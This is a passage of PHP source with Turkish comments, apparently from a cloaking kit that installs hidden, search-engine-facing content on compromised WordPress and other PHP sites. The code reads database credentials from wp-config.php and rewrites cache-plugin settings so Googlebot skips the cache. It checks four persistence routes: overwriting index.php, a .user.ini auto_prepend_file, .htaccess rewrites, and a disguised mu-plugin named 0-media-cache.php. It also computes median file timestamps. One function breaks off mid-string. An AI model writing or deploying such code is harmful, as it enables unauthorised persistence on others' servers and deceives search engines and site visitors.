$stmt->bind_param('s', $name);
if(!$stmt->execute()){ $stmt->close(); return null; }
$res = $stmt->get_result();
$row = $res ? $res->fetch_assoc() : null;
$stmt->close();
return $row ? $row['option_value'] : null;
}
function cseh_db_set_option($mysqli, $prefix, $name, $value, $autoload = 'yes'){
$sql = "UPDATE `{$prefix}options` SET option_value = ? WHERE option_name = ?";
$stmt = @$mysqli->prepare($sql);
if(!$stmt) return false;
$stmt->bind_param('ss', $value, $name);
$ok = $stmt->execute();
$affected = $mysqli->affected_rows;
$stmt->close();
if(!$ok) return false;
if($affected === 0){
$exists = cseh_db_get_option($mysqli, $prefix, $name);
if($exists === null){
$sqlI = "INSERT INTO `{$prefix}options` (option_name, option_value, autoload) VALUES (?, ?, ?)";
$stI = @$mysqli->prepare($sqlI);
if(!$stI) return false;
$stI->bind_param('sss', $name, $value, $autoload);
$okI = $stI->execute();
$stI->close();
if(!$okI) return false;
}
}
return true;
}
function cseh_detect_cache_plugins($mysqli, $prefix){
$raw = cseh_db_get_option($mysqli, $prefix, 'active_plugins');
if($raw === null) return array();
$arr = @unserialize($raw);
if(!is_array($arr)) return array();
$known = array(
'wp-rocket' => array('wp-rocket/wp-rocket.php'),
'litespeed' => array('litespeed-cache/litespeed-cache.php'),
'w3-total-cache' => array('w3-total-cache/w3-total-cache.php'),
'wp-super-cache' => array('wp-super-cache/wp-cache.php'),
'wp-fastest-cache' => array('wp-fastest-cache/wpFastestCache.php'),
'flying-press' => array('flying-press/flying-press.php'),
'cache-enabler' => array('cache-enabler/cache-enabler.php'),
'sg-cachepress' => array('sg-cachepress/sg-cachepress.php'),
'breeze' => array('breeze/breeze.php'),
'hummingbird' => array('hummingbird-performance/wp-hummingbird.php'),
);
$detected = array();
foreach($arr as $slug){
foreach($known as $k => $paths){
if(in_array($slug, $paths, true) || strpos($slug, $k.'/') === 0){
if(!in_array($k, $detected, true)) $detected[] = $k;
}
}
}
return $detected;
}
function cseh_bypass_wp_rocket($mysqli, $prefix, $bot_uas){
$raw = cseh_db_get_option($mysqli, $prefix, 'wp_rocket_settings');
if($raw === null) return array('ok'=>false, 'plugin'=>'wp-rocket', 'message'=>'option not found');
$data = @unserialize($raw); if(!is_array($data)) $data = array();
$current = isset($data['cache_reject_ua']) && is_array($data['cache_reject_ua']) ? $data['cache_reject_ua'] : array();
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$data['cache_reject_ua'] = array_values($merged);
$ok = cseh_db_set_option($mysqli, $prefix, 'wp_rocket_settings', serialize($data));
return array('ok'=>$ok, 'plugin'=>'wp-rocket', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_bypass_litespeed($mysqli, $prefix, $bot_uas){
$name = 'litespeed.conf.cache-exc_useragents';
$raw = cseh_db_get_option($mysqli, $prefix, $name);
$current = cseh_ua_str_to_arr($raw === null ? '' : $raw);
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$ok = cseh_db_set_option($mysqli, $prefix, $name, implode("\n", $merged));
return array('ok'=>$ok, 'plugin'=>'litespeed', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_bypass_w3tc($mysqli, $prefix, $bot_uas){
$raw = cseh_db_get_option($mysqli, $prefix, 'w3tc_options');
if($raw === null) return array('ok'=>false, 'plugin'=>'w3-total-cache', 'message'=>'option not found');
$data = @unserialize($raw); if(!is_array($data)) $data = array();
$current = isset($data['pgcache.reject.ua']) && is_array($data['pgcache.reject.ua']) ? $data['pgcache.reject.ua'] : array();
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$data['pgcache.reject.ua'] = array_values($merged);
$ok = cseh_db_set_option($mysqli, $prefix, 'w3tc_options', serialize($data));
return array('ok'=>$ok, 'plugin'=>'w3-total-cache', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_bypass_wp_super_cache($mysqli, $prefix, $bot_uas){
return array('ok'=>false, 'plugin'=>'wp-super-cache', 'message'=>'wp-super-cache file-based, atla (wp-config.php elle)');
}
function cseh_bypass_wp_fastest_cache($mysqli, $prefix, $bot_uas){
$name = 'WpFastestCacheRejectedUserAgents';
$raw = cseh_db_get_option($mysqli, $prefix, $name);
$current = cseh_ua_str_to_arr($raw === null ? '' : $raw);
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$ok = cseh_db_set_option($mysqli, $prefix, $name, implode("\n", $merged), 'no');
return array('ok'=>$ok, 'plugin'=>'wp-fastest-cache', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_bypass_flying_press($mysqli, $prefix, $bot_uas){
$raw = cseh_db_get_option($mysqli, $prefix, 'flying_press_settings');
if($raw === null) return array('ok'=>false, 'plugin'=>'flying-press', 'message'=>'option not found');
$data = @unserialize($raw); if(!is_array($data)) $data = array();
$cur_raw = isset($data['cache_exclude_user_agents']) ? $data['cache_exclude_user_agents'] : '';
$current = is_array($cur_raw) ? $cur_raw : cseh_ua_str_to_arr((string)$cur_raw);
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$data['cache_exclude_user_agents'] = implode("\n", $merged);
$ok = cseh_db_set_option($mysqli, $prefix, 'flying_press_settings', serialize($data));
return array('ok'=>$ok, 'plugin'=>'flying-press', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_bypass_cache_enabler($mysqli, $prefix, $bot_uas){
$raw = cseh_db_get_option($mysqli, $prefix, 'cache_enabler');
if($raw === null) return array('ok'=>false, 'plugin'=>'cache-enabler', 'message'=>'option not found');
$data = @unserialize($raw); if(!is_array($data)) $data = array();
$cur_raw = isset($data['excluded_user_agents']) ? $data['excluded_user_agents'] : '';
$current = is_array($cur_raw) ? $cur_raw : cseh_ua_str_to_arr((string)$cur_raw);
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$data['excluded_user_agents'] = implode("\n", $merged);
$ok = cseh_db_set_option($mysqli, $prefix, 'cache_enabler', serialize($data));
return array('ok'=>$ok, 'plugin'=>'cache-enabler', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_bypass_sg_cachepress($mysqli, $prefix, $bot_uas){
$name = 'siteground_optimizer_user_agent_exceptions';
$raw = cseh_db_get_option($mysqli, $prefix, $name);
$current = cseh_ua_str_to_arr($raw === null ? '' : $raw);
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$ok = cseh_db_set_option($mysqli, $prefix, $name, implode("\n", $merged));
return array('ok'=>$ok, 'plugin'=>'sg-cachepress', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_bypass_breeze($mysqli, $prefix, $bot_uas){
$raw = cseh_db_get_option($mysqli, $prefix, 'breeze_basic_settings');
if($raw === null) return array('ok'=>false, 'plugin'=>'breeze', 'message'=>'option not found');
$data = @unserialize($raw); if(!is_array($data)) $data = array();
$current = isset($data['breeze-exclude-user-agents']) && is_array($data['breeze-exclude-user-agents']) ? $data['breeze-exclude-user-agents'] : array();
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$data['breeze-exclude-user-agents'] = array_values($merged);
$ok = cseh_db_set_option($mysqli, $prefix, 'breeze_basic_settings', serialize($data));
return array('ok'=>$ok, 'plugin'=>'breeze', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_bypass_hummingbird($mysqli, $prefix, $bot_uas){
$raw = cseh_db_get_option($mysqli, $prefix, 'wphb_settings');
if($raw === null) return array('ok'=>false, 'plugin'=>'hummingbird', 'message'=>'option not found');
$data = @unserialize($raw); if(!is_array($data)) $data = array();
if(!isset($data['page_cache']) || !is_array($data['page_cache'])) $data['page_cache'] = array();
if(!isset($data['page_cache']['exclude']) || !is_array($data['page_cache']['exclude'])) $data['page_cache']['exclude'] = array();
$current = isset($data['page_cache']['exclude']['user_agents']) && is_array($data['page_cache']['exclude']['user_agents'])
? $data['page_cache']['exclude']['user_agents'] : array();
$before = count($current);
$merged = cseh_merge_ua_list($current, $bot_uas);
$data['page_cache']['exclude']['user_agents'] = array_values($merged);
$ok = cseh_db_set_option($mysqli, $prefix, 'wphb_settings', serialize($data));
return array('ok'=>$ok, 'plugin'=>'hummingbird', 'message'=>$ok?(count($merged)-$before).' UA added':'db write failed', 'before'=>$before, 'after'=>count($merged));
}
function cseh_apply_cache_bypass($DIR){
$out = array('status'=>'', 'detected'=>array(), 'results'=>array());
$cfg_path = cseh_find_wpconfig($DIR);
if(!$cfg_path){ $out['status'] = 'no_wp'; return $out; }
$cfg = cseh_parse_wpconfig($cfg_path);
if(empty($cfg['creds']['DB_NAME']) || empty($cfg['creds']['DB_USER'])){ $out['status'] = 'no_creds'; return $out; }
$m = cseh_db_connect($cfg['creds']);
if(!$m){ $out['status'] = 'db_connect_failed'; return $out; }
$detected = cseh_detect_cache_plugins($m, $cfg['prefix']);
$out['detected'] = $detected;
if(empty($detected)){ $out['status'] = 'no_cache_plugin'; $m->close(); return $out; }
$bot_uas = isset($GLOBALS['CSEH_BOT_UA_LIST']) ? $GLOBALS['CSEH_BOT_UA_LIST'] : array();
$map = array(
'wp-rocket' => 'cseh_bypass_wp_rocket',
'litespeed' => 'cseh_bypass_litespeed',
'w3-total-cache' => 'cseh_bypass_w3tc',
'wp-super-cache' => 'cseh_bypass_wp_super_cache',
'wp-fastest-cache' => 'cseh_bypass_wp_fastest_cache',
'flying-press' => 'cseh_bypass_flying_press',
'cache-enabler' => 'cseh_bypass_cache_enabler',
'sg-cachepress' => 'cseh_bypass_sg_cachepress',
'breeze' => 'cseh_bypass_breeze',
'hummingbird' => 'cseh_bypass_hummingbird',
);
foreach($detected as $slug){
if(!isset($map[$slug])){ $out['results'][$slug] = array('ok'=>false, 'message'=>'no writer'); continue; }
$fn = $map[$slug];
if(!function_exists($fn)){ $out['results'][$slug] = array('ok'=>false, 'message'=>'fn missing'); continue; }
try{ $out['results'][$slug] = call_user_func($fn, $m, $cfg['prefix'], $bot_uas); }
catch(Exception $e){ $out['results'][$slug] = array('ok'=>false, 'message'=>'exception: '.$e->getMessage()); }
}
$m->close();
$out['status'] = 'done';
return $out;
}
function cseh_repair_wp_backup($DIR, $BACKUP_PATH){
$out = array('status'=>'', 'before'=>0, 'after'=>0);
if(!@is_file($BACKUP_PATH)){ $out['status'] = 'no_backup'; return $out; }
$size = @filesize($BACKUP_PATH);
$out['before'] = (int)$size;
if($size === false || $size >= 200){ $out['status'] = 'ok_no_repair_needed'; return $out; }
$cfg_path = cseh_find_wpconfig($DIR);
if(!$cfg_path){ $out['status'] = 'not_wp_skip'; return $out; }
if(!@is_file($DIR.'/wp-blog-header.php')){ $out['status'] = 'wp_blog_header_missing'; return $out; }
$tpl = "0)@ob_end_clean();".
"header('Content-Type: text/html; charset=UTF-8');header('Vary: User-Agent');header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');@readfile(\$_pf);exit;}".
"}\n}\n// devam → orijinal index.php normal çalışır\n";
}
// SAPI .user.ini'yi onurlandırır mı? (fpm-fcgi / cgi-fcgi → evet; apache2handler/mod_php → HAYIR)
function cseh_userini_supported(){
$s=php_sapi_name();
return (strpos($s,'fpm')!==false||strpos($s,'cgi')!==false);
}
// .user.ini'ye auto_prepend ekle (BEGIN/END marker, mevcut .user.ini'yi koru)
function cseh_userini_add($dir,$prependAbs){
$f=$dir.DIRECTORY_SEPARATOR.'.user.ini';
$cur=file_exists($f)?(string)@file_get_contents($f):'';
if(strpos($cur,'; BEGIN WRZ-RENDER')!==false)return 'EXISTS';
$block="; BEGIN WRZ-RENDER\nauto_prepend_file = \"".$prependAbs."\"\n; END WRZ-RENDER\n";
return @file_put_contents($f,$cur.$block)!==false?'OK':'ERR';
}
function cseh_userini_remove($dir){
$f=$dir.DIRECTORY_SEPARATOR.'.user.ini';
if(!file_exists($f))return;
$cur=(string)@file_get_contents($f);
if(strpos($cur,'; BEGIN WRZ-RENDER')===false)return;
$clean=preg_replace('/; BEGIN WRZ-RENDER.*?; END WRZ-RENDER\n?/s','',$cur);
$clean=trim($clean);
if($clean==='')@unlink($f); else @file_put_contents($f,$clean);
}
// Dizindeki referans dosyalardan medyan mtime hesapla
function ref_mtime($dir,$skip=[]){
$mt=[];
if($dh=@opendir($dir)){
while(($f=readdir($dh))!==false){
if($f==='.'||$f==='..')continue;
$fp=$dir.DIRECTORY_SEPARATOR.$f;
if(!is_file($fp)||in_array($f,$skip))continue;
$t=@filemtime($fp);
if($t>mktime(0,0,0,1,1,2010))$mt[]=$t;
}
closedir($dh);
}
if(empty($mt))return null;
sort($mt);
return $mt[(int)(count($mt)/2)];
}
// ---- DOCTOR (en basta) ----
// ---- ÖN UYUMLULUK TESTİ (precheck v2): "En az 1 yol çalışıyorsa UYGUN" -----
// Mantık değişikliği (v2):
// Eski: her yöntem (index.php / .htaccess / .user.ini / mu-plugin) ayrı ayrı
// BLOCKER olabiliyordu. Apache + .htaccess read-only → verdict='bad'
// halbuki index.php ezilerek cloak zaten kurulabilirdi. False negative.
// Yeni: 4 kurulum yolu OR mantığıyla değerlendirilir. En az 1 yol açıksa
// cloak kurulabilir. Sadece 0 yol açık ise BLOCKER olur.
// Kod referansı (autocloak handler satır 1425-1508): $methods dizisi OR
// short-circuit ile kurulur; ayrıca $INDEX_CLOAKED (satır 453-466) zaten
// 4 yöntemi OR ile kontrol eder. Precheck bunu yansıtmalı.
if($a==="precheck"){
$checks = array();
$score = 0; $max_score = 0;
$blockers = 0; $warnings = 0;
// -------- 1) PHP Versiyonu (weight 15, ŞART) --------
$php = PHP_VERSION;
$php_ok = version_compare($php,'7.0.0','>=');
$php_5x = version_compare($php,'5.6.0','>=');
$st = $php_ok?'ok':($php_5x?'warn':'err');
$checks[] = array('name'=>'PHP Versiyonu','status'=>$st,'value'=>$php,
'msg'=>$php_ok?'uygun (7.0+)':($php_5x?'5.6 çalışır ama 7.0+ önerilir':'ŞART: 7.0+ gerekli — token-auth kırılır'),
'weight'=>15,'blocker'=>!$php_5x);
$max_score+=15; if($st==='ok'){$score+=15;} elseif($st==='warn'){$score+=8; $warnings++;} else {$blockers++;}
// -------- 2) Sunucu tipi (weight 5, sadece bilgi) --------
// Not: nginx artık BLOCKER değil. FPM/CGI'de .user.ini fallback çalışır.
$srv = function_exists('cseh_server_type')?cseh_server_type():'other';
$srv_ok = in_array($srv,array('apache','litespeed'));
$st = $srv_ok?'ok':($srv==='nginx'?'warn':'warn');
$checks[] = array('name'=>'Sunucu Yazılımı','status'=>$st,'value'=>strtoupper($srv),
'msg'=>$srv_ok?'.htaccess bypass rule\'ları çalışır':($srv==='nginx'?'nginx: .htaccess okunmaz; .user.ini/index.php/mu-plugin yolları çalışır':'bilinmeyen sunucu — mevcut kurulum yollarına düşülür'),
'weight'=>5,'blocker'=>false);
$max_score+=5; if($srv_ok){$score+=5;} else {$score+=3; $warnings++;}
// -------- 3) Kök yazma izni (weight 15, ŞART — mu-plugin hariç her yol için gerek) --------
$root_w = is_writable($DIR);
// Not: mu-plugin yolu wp-content'e yazar, kök yazımı gerekmez. Fakat
// .render-cache/ klasörünü oluşturmak için de kök gerek (mu-plugin uploads'a yazar).
// Bu yüzden root_w gerçek blocker sadece "hiçbir yol açık değilse" olur; aşağıda toplu değerlendirilir.
$checks[] = array('name'=>'Kök dizin yazma','status'=>$root_w?'ok':'warn','value'=>$root_w?'YAZILABILIR':'KAPALI',
'msg'=>$root_w?'index.php ezilebilir, .render-cache/ açılabilir':'kök kapalı — WP mu-plugin yolu (wp-content/uploads) hâlâ deneyebilir',
'weight'=>15,'blocker'=>false);
$max_score+=15; if($root_w){$score+=15;} else {$score+=5; $warnings++;}
// -------- Ön hazırlık: 4 kurulum yolunun DURUMU --------
$idx_path = $DIR.DIRECTORY_SEPARATOR.'index.php';
$idx_w = file_exists($idx_path)?is_writable($idx_path):$root_w;
$ht_path = $DIR.DIRECTORY_SEPARATOR.'.htaccess';
$ht_w = file_exists($ht_path)?is_writable($ht_path):$root_w;
$ht_needed= ($srv==='apache'||$srv==='litespeed');
$userini_supported = function_exists('cseh_userini_supported')?cseh_userini_supported():false;
// CMS (ileride WP yolu için gerek)
$cmsInfo = function_exists('detect_cms')?detect_cms($DIR):array('cms'=>'unknown','label'=>'?');
$cms = isset($cmsInfo['cms'])?$cmsInfo['cms']:'unknown';
// WP mu-plugin yolu için wp-content yazılabilirliği
$wp_muplugin_w = false;
$wp_uploads_w = false;
if($cms==='wp'){
$wpc = $DIR.'/wp-content';
$wpmu = $DIR.'/wp-content/mu-plugins';
// mu-plugins ya yazılabilir, ya da yoksa wp-content yazılabilir (oluşturulabilir)
if(is_dir($wpmu)){
$wp_muplugin_w = is_writable($wpmu);
} else {
$wp_muplugin_w = is_dir($wpc) && is_writable($wpc);
}
$up = $DIR.'/wp-content/uploads';
$wp_uploads_w = is_dir($up) && is_writable($up);
}
// 4 yol: OR mantığı — herhangi biri açıksa cloak kurulabilir
$way_A = $idx_w; // Y1: index.php overwrite
$way_B = ($userini_supported && $root_w); // Y2: .user.ini auto_prepend (FPM/CGI + kök)
$way_C = ($ht_needed && $ht_w); // Y3: .htaccess rewrite cloak (Apache/LSWS + .htaccess yaz)
$way_D = ($cms==='wp' && $wp_muplugin_w); // Y4: WP mu-plugin airbag
$ways_open = 0;
$ways_open += $way_A?1:0;
$ways_open += $way_B?1:0;
$ways_open += $way_C?1:0;
$ways_open += $way_D?1:0;
$ways_labels = array();
if($way_A) $ways_labels[] = 'index.php';
if($way_B) $ways_labels[] = '.user.ini';
if($way_C) $ways_labels[] = '.htaccess';
if($way_D) $ways_labels[] = 'mu-plugin';
// -------- 4) BİRLEŞİK Kurulum Yolları (weight 40, TEK BLOCKER kaynağı) --------
// ways_open === 0 → gerçek blocker (cloak fiziksel olarak yazılamaz)
$st_ways = ($ways_open>=2)?'ok':($ways_open===1?'warn':'err');
$val_ways = $ways_open.'/4 hazır'.($ways_labels?' ('.implode(' + ',$ways_labels).')':'');
if($ways_open===0){
$msg_ways = 'ENGEL: 4 yöntemin hiçbiri açık değil — cloak kurulamaz. Host paneli üzerinden CHMOD ile en az birini yazılabilir yap: '.
'kök index.php · .htaccess · .user.ini (FPM/CGI) · wp-content/mu-plugins';
} elseif($ways_open===1){
$msg_ways = 'Kurulum '.$ways_labels[0].' yoluyla yapılacak. Tek yol açık — riski düşürmek için 2+ yol önerilir ama zorunlu değil.';
} else {
$only_extras = array_diff(array('index.php','.user.ini','.htaccess','mu-plugin'),$ways_labels);
$extras_note = $only_extras?' | opsiyonel: '.implode(', ',$only_extras).' yok':'';
$msg_ways = 'Kurulum '.$ways_labels[0].' ile yapılacak; '.($ways_open-1).' yedek yol da hazır.'.$extras_note;
}
$checks[] = array('name'=>'Kurulum Yolları (OR)','status'=>$st_ways,'value'=>$val_ways,
'msg'=>$msg_ways,'weight'=>40,'blocker'=>($ways_open===0),
'ways'=>array(
'index_php'=>array('open'=>$way_A,'writable'=>$idx_w,'path'=>'index.php'),
'user_ini' =>array('open'=>$way_B,'supported'=>$userini_supported,'root_writable'=>$root_w,'path'=>'.user.ini'),
'htaccess' =>array('open'=>$way_C,'needed'=>$ht_needed,'writable'=>$ht_w,'path'=>'.htaccess'),
'muplugin' =>array('open'=>$way_D,'is_wp'=>($cms==='wp'),'writable'=>$wp_muplugin_w,'path'=>'wp-content/mu-plugins/0-media-cache.php'),
));
$max_score+=40;
if($ways_open>=2){ $score+=40; }
elseif($ways_open===1){ $score+=28; $warnings++; }
else { $blockers++; } // ways_open===0 → GERÇEK blocker
// -------- Alt-detay satırları (bilgi amaçlı, weight 0 — skoru etkilemez, ways_open zaten kapsıyor) --------
// Kullanıcı hangi yolun neden açık/kapalı olduğunu görsün diye ayrı satırlar; ama artık skoru veya blocker'ı etkilemezler.
$checks[] = array('name'=>' ↳ Yöntem 1: index.php overwrite','status'=>$way_A?'ok':'info',
'value'=>$way_A?'HAZIR':'yazılamıyor','msg'=>$way_A?'birincil yol — cloak template kök index.php\'ye yazılır':'index.php read-only — diğer yollara düşülür',
'weight'=>0,'blocker'=>false);
$checks[] = array('name'=>' ↳ Yöntem 2: .user.ini auto_prepend','status'=>$way_B?'ok':'info',
'value'=>$way_B?'HAZIR':($userini_supported?'kök kapalı':'SAPI: mod_php'),
'msg'=>$way_B?'FPM/CGI fallback — index.php yazılamazsa devreye girer':'.user.ini bu SAPI\'de çalışmaz veya kök kapalı',
'weight'=>0,'blocker'=>false);
$checks[] = array('name'=>' ↳ Yöntem 3: .htaccess rewrite','status'=>$way_C?'ok':'info',
'value'=>$way_C?'HAZIR':($ht_needed?'.htaccess yazılamıyor':'sunucu Apache/LSWS değil'),
'msg'=>$way_C?'Apache/LiteSpeed son çare — PHP çalışmadan cloak servis eder':'opsiyonel — Y1/Y2 zaten yeter',
'weight'=>0,'blocker'=>false);
$checks[] = array('name'=>' ↳ Yöntem 4: WP mu-plugin airbag','status'=>$way_D?'ok':'info',
'value'=>$way_D?'HAZIR':($cms==='wp'?'wp-content yazılamıyor':'WP değil'),
'msg'=>$way_D?'kök tamamen kilitliyse WP mu-plugin (wp-content) devreye girer':'sadece WP\'de anlamlı',
'weight'=>0,'blocker'=>false);
// -------- 5) CMS tespiti (weight 5) --------
$checks[] = array('name'=>'CMS','status'=>'ok','value'=>strtoupper($cms),
'msg'=>'algılandı ('.($cmsInfo['label']?:'-').')','weight'=>5,'blocker'=>false);
$max_score+=5; $score+=5;
// -------- 6) WordPress: wp-config + DB (weight 10, WP-only, plugin-serve moduna karar için) --------
$wp_config = ($cms==='wp')?cseh_find_wpconfig($DIR):'';
$db_ok = false; $db_msg = 'WP değil — atlanıyor'; $st = 'skip';
$has_creds = false; $creds = array(); $pcfg = array();
if($cms==='wp'){
if(!$wp_config){
$st='warn'; $db_msg='wp-config.php okunamıyor → plugin-serve devre dışı, file-mode\'a düşer';
$warnings++;
} else {
$pcfg = cseh_parse_wpconfig($wp_config);
$creds = isset($pcfg['creds'])?$pcfg['creds']:array();
$has_creds = !empty($creds['DB_NAME']) && !empty($creds['DB_USER']);
if(!$has_creds){
$st='warn'; $db_msg='wp-config cred\'leri eksik → file-mode fallback';
$warnings++;
} else {
$mysqli = cseh_db_connect($creds);
if($mysqli){
$db_ok=true; $st='ok'; $db_msg='WP DB bağlantısı çalışıyor — plugin-serve/db.php airbag açılır';
$score+=10;
@$mysqli->close();
} else {
$st='warn'; $db_msg='DB connect fail → cache plugin bypass düşer, file-mode\'a geç';
$warnings++;
}
}
}
}
$checks[] = array('name'=>'WP DB bağlantısı','status'=>$st,'value'=>($db_ok?'OK':($cms==='wp'?'FAIL':'N/A')),
'msg'=>$db_msg,'weight'=>10,'blocker'=>false);
$max_score+=10;
if($st==='skip'){ $score+=5; } // WP değilse yarısını ver
// -------- 7) Cache plugin tespiti (weight 5, sadece uyarı) — read-only --------
$cache_plugins = array();
if($db_ok && !empty($creds)){
$mysqli2 = cseh_db_connect($creds);
if($mysqli2){
$prefix = isset($pcfg['prefix'])?$pcfg['prefix']:'wp_';
$cache_plugins = cseh_detect_cache_plugins($mysqli2, $prefix);
@$mysqli2->close();
}
}
$has_cache = !empty($cache_plugins);
$st = $has_cache?'warn':'ok';
$checks[] = array('name'=>'Cache Plugin','status'=>$st,
'value'=>$has_cache?implode(', ',$cache_plugins):'YOK',
'msg'=>$has_cache?'DB bypass yazıcısı otomatik devreye girecek':'cache plugin yok — perde direkt servis edilir',
'weight'=>5,'blocker'=>false);
$max_score+=5; if(!$has_cache){$score+=5;} else {$score+=3; $warnings++;}
// -------- 8) curl + gethostbyaddr (weight 10, verified-Googlebot) --------
$has_curl = function_exists('curl_init');
$has_ghba = function_exists('gethostbyaddr');
$both = ($has_curl && $has_ghba);
$checks[] = array('name'=>'curl + gethostbyaddr','status'=>$both?'ok':'warn',
'value'=>($has_curl?'curl✓':'curl✗').' '.($has_ghba?'ghba✓':'ghba✗'),
'msg'=>$both?'verified-Googlebot doğrulaması aktif':'reverse DNS doğrulama düşer → UA-only fallback (sahte bot yakalayabilir)',
'weight'=>10,'blocker'=>false);
$max_score+=10; if($both){$score+=10;} else {$score+=4; $warnings++;}
// -------- 9) mysqli extension (WP plugin-serve için) --------
$mysqli_ok = extension_loaded('mysqli');
$checks[] = array('name'=>'mysqli extension','status'=>$mysqli_ok?'ok':($cms==='wp'?'warn':'ok'),
'value'=>$mysqli_ok?'YÜKLÜ':'YOK',
'msg'=>$mysqli_ok?'DB bypass hazır':($cms==='wp'?'WP\'de mysqli yok → file-mode\'a düşer':'kritik değil'),
'weight'=>5,'blocker'=>false);
$max_score+=5; if($mysqli_ok){$score+=5;} else {if($cms==='wp')$warnings++; $score+=2;}
// -------- 10) Managed Host uyarısı (weight 5) --------
$mh_pc = function_exists('cseh_detect_managed_host')?cseh_detect_managed_host():array('host'=>null);
if($mh_pc['host']!==null){
$mh_val = $mh_pc['label'];
$mh_msg = $mh_pc['can_php_purge']
? 'PHP purge destekli ama edge CDN için manuel/dashboard da gerekebilir → '.substr($mh_pc['purge_hint'],0,140)
: 'PHP\'den edge purge YAPILAMAZ — cache temizleme dashboard\'dan MANUEL yapılmalı: '.$mh_pc['dashboard'];
$checks[] = array('name'=>'Managed Host','status'=>'warn','value'=>$mh_val,
'msg'=>$mh_msg,'weight'=>5,'blocker'=>false,
'managed'=>array('host'=>$mh_pc['host'],'label'=>$mh_pc['label'],'dashboard'=>$mh_pc['dashboard'],
'purge_hint'=>$mh_pc['purge_hint'],'mu_plugin'=>$mh_pc['mu_plugin'],
'can_php_purge'=>$mh_pc['can_php_purge'],'signals'=>$mh_pc['signals']));
$max_score+=5; $score+=3; $warnings++;
} else {
$checks[] = array('name'=>'Managed Host','status'=>'ok','value'=>'YOK',
'msg'=>'shared/VPS host — edge CDN cache yok, PHP purge yeterli','weight'=>5,'blocker'=>false);
$max_score+=5; $score+=5;
}
// -------- 11) Mevcut cloak durumu (bilgilendirici) --------
$already_installed = ($INDEX_CLOAKED===true);
$checks[] = array('name'=>'Mevcut cloak','status'=>'ok',
'value'=>$already_installed?'KURULU':'TEMİZ',
'msg'=>$already_installed?'idempotent kurulum — mevcut cloak güncellenir':'sıfırdan kurulum yapılır',
'weight'=>0,'blocker'=>false);
// -------- Skor normalize (0-100) --------
$final_score = ($max_score>0)?intval(round(($score/$max_score)*100)):0;
if($final_score>100)$final_score=100;
if($final_score<0)$final_score=0;
// -------- KARAR (v2): blocker sadece "0 yol açık" veya "PHP < 5.6" --------
if($blockers>0){
$verdict = 'bad';
$verdict_txt = 'UYGUN DEĞİL — cloak kurulamaz';
if($ways_open===0){
$summary = 'Kurulum yolu yok: index.php, .user.ini, .htaccess, mu-plugin — dördü de yazılamıyor. Host paneli üzerinden en az birine CHMOD yazma izni ver.';
} else {
$summary = 'Engelleyici hata var. PHP sürümü veya sunucu koşulları kritik: '.$blockers.' blocker. Yukarıdaki ❌ satırları çöz.';
}
} elseif($final_score>=85){
$verdict = 'ok';
$verdict_txt = 'UYGUN — Cloak kurulabilir';
$summary = 'Kurulum yolları: '.$ways_open.'/4 hazır ('.implode(' + ',$ways_labels).'). CLOAK SERVİSİNİ AÇ ile devam edebilirsin.';
} elseif($final_score>=60){
$verdict = 'mid';
$verdict_txt = 'UYGUN — küçük uyarılar var';
$summary = 'Cloak kurulabilir ('.$ways_open.'/4 yol). '.$warnings.' uyarı otomatik fallback\'lerle çözülür. CLOAK SERVİSİNİ AÇ ile devam edebilirsin.';
} else {
// ways_open>=1 olduğu halde skor düşükse: yine kurulabilir ama düşük skor
$verdict = 'mid';
$verdict_txt = 'UYGUN — düşük skor, riskli olabilir';
$summary = 'Cloak fiziksel olarak kurulabilir ('.$ways_open.'/4 yol) ama uyarılar çok. Sonuç deneme-yanılma; CLOAK SERVİSİNİ AÇ deneyebilirsin.';
}
$results = array(
'ts'=>time(),
'dir'=>$DIR,
'score'=>$final_score,
'verdict'=>$verdict,
'verdict_txt'=>$verdict_txt,
'summary'=>$summary,
'blockers'=>$blockers,
'warnings'=>$warnings,
'ways_open'=>$ways_open,
'ways_labels'=>$ways_labels,
'checks'=>$checks,
);
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json; charset=utf-8");
echo json_encode($results, defined('JSON_UNESCAPED_UNICODE')?JSON_UNESCAPED_UNICODE:0);
exit;
}
// ---- Otomatik cloak: index.php'ye cloak şablonu yaz + .html yoksa oluştur --
if($a==="autocloak"){
// ★ ZORUNLU SIRA GUARD — perde DOLU olmadan Cloak Aç'ı backend de reddet
$_perdePaths=array(
$DIR.DIRECTORY_SEPARATOR.'.render-cache'.DIRECTORY_SEPARATOR.'render-cache.html',
$DIR.'/wp-content/uploads/wp-media-cache/render-cache.html',
);
$_perdeDolu=false; $_perdeBoyut=0;
foreach($_perdePaths as $_pp){ if(@is_file($_pp)){ $_sz=@filesize($_pp); if($_sz!==false && $_sz>=500){ $_perdeDolu=true; $_perdeBoyut=$_sz; break; } } }
if(!$_perdeDolu){
while(ob_get_level()>0)ob_end_clean();
header("Content-Type:application/json");
echo json_encode(array(
'error'=>'PERDE_BOS',
'message'=>'PERDE DOSYASI BOŞ veya YOK. Önce PERDE İÇERİĞİ kutusuna marka HTML\'i yapıştırıp KAYDET\'e bas, sonra CLOAK SERVİSİNİ AÇ. (Boş perde ile cloak açarsan Googlebot boş sayfa görür.)',
'perde_size'=>$_perdeBoyut,
